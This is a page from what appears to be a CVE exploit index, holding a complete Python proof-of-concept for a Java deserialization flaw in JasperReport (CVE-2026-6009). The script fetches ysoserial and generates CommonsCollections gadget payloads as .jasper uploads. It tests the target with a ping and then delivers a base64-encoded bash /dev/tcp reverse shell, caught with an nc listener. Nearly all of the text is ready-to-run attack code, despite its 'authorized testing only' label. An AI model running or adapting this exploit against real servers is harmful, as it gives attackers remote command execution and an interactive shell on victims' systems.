5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

"""
CVE-2026-6009
JasperReport <= 7.0.3 - Java Deserialization vulnerability
Educational / Authorized Testing Only
Author : Pumila03 | Date : 2026-05-23
"""

from urllib.parse import urlparse
import requests
import subprocess
import argparse
import os
import base64
import time

# Install ysoserial uses to exploit gadget chains from JasperReport
def check_dependencies() -> bool:
    if not os.path.exists("/tmp/ysoserial.jar"):
        response = requests.get("https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar")
        with open("/tmp/ysoserial.jar", "wb") as f:
            f.write(response.content)
    return os.path.exists("/tmp/ysoserial.jar")

# Make the .jasper payload using ysoserial
def generate_payload(command : str, output_file: str, version : int):
    subprocess.run(["java", "-jar", "/tmp/ysoserial.jar", f"CommonsCollections{version}", command], stdout=open(f"/tmp/{output_file}.jasper", "wb"), check=True)

# Check if the target is exploitable by pinging source
def detect_vulnerability(args, ip) -> bool:
    exploitable = False
    CC_version = 1
    proc = subprocess.Popen(["tcpdump", "-i", "any", "-c", "1", f"icmp and src {ip}"])
    while CC_version < 8 and not exploitable :
        print(f"[*] Testing CommonsCollections{CC_version}...")
        generate_payload(f"ping -c 1 {args.source}", "ping", CC_version)     
        requests.post(f"{args.target}", files={"file": ("payload.jasper", open("/tmp/ping.jasper", "rb"), "application/octet-stream")})
        try:
            proc.wait(timeout=5)
            exploitable = True
            print("[+] The target is exploitable")
            print(f"[*] Working version : CommonsCollections{CC_version}")
            break
        except: 
            proc.kill()
        CC_version += 1
    return exploitable     

# Make an interactive reverse shell
def exploit(args):
    b64_command = base64.b64encode(f'/bin/bash -i >& /dev/tcp/{args.source}/{args.port} 0>&1'.encode()).decode()
    print(f"[*] testing differents CommonsCollections version...")
    for CC_version in range(1, 8):
        os.system(f"fuser -k {args.port}/tcp 2>/dev/null")
        generate_payload(f'bash -c {{echo,{b64_command}}}|{{base64,-d}}|bash', "shell", CC_version)
        listener = subprocess.Popen(["nc", "-lnvp", args.port])
        time.sleep(0.5)
        requests.post(f"{args.target}", files={"file": ("payload.jasper", open("/tmp/shell.jasper", "rb"), "application/octet-stream")})
        try:
            listener.wait(5)
            break
        except:
            listener.kill()
            print(f"[-] No connection with CC{CC_version}. Testing another version...")


def main():

    #Parser
    parser = argparse.ArgumentParser(description="This exploit uses the vulnerability from CVE-2026-6009 to execute a reverse shell on the target.")
    parser.add_argument("-t", "--target", dest="target", required=True, help="This specify the exact location where to post the .jasper file")
    parser.add_argument("-s", "--source", dest="source", required=True, help="This specify the IP address where the reverse shell will connect")
    parser.add_argument("-p", "--port" ,dest="port", required=True, help="This specify the port where the reverse shell will connect on your machine")
    args = parser.parse_args()
    print(f"[*] Target    : {args.target}")
    print(f"[*] Attacker  : {args.source}:{args.port}")
    ip = urlparse(args.target).hostname

    if  check_dependencies():
        print("[+] Dependencies installed")
    else :
        print("[-] Dependencies cannot be Installed. You must download ysoserial in /tmp")
        print("[*] Exiting")


    if not detect_vulnerability(args, ip) :
        print("[-] Target is not exploitable. Exiting")
        return
    
    exploit(args)
    

if __name__ == "__main__":
    main()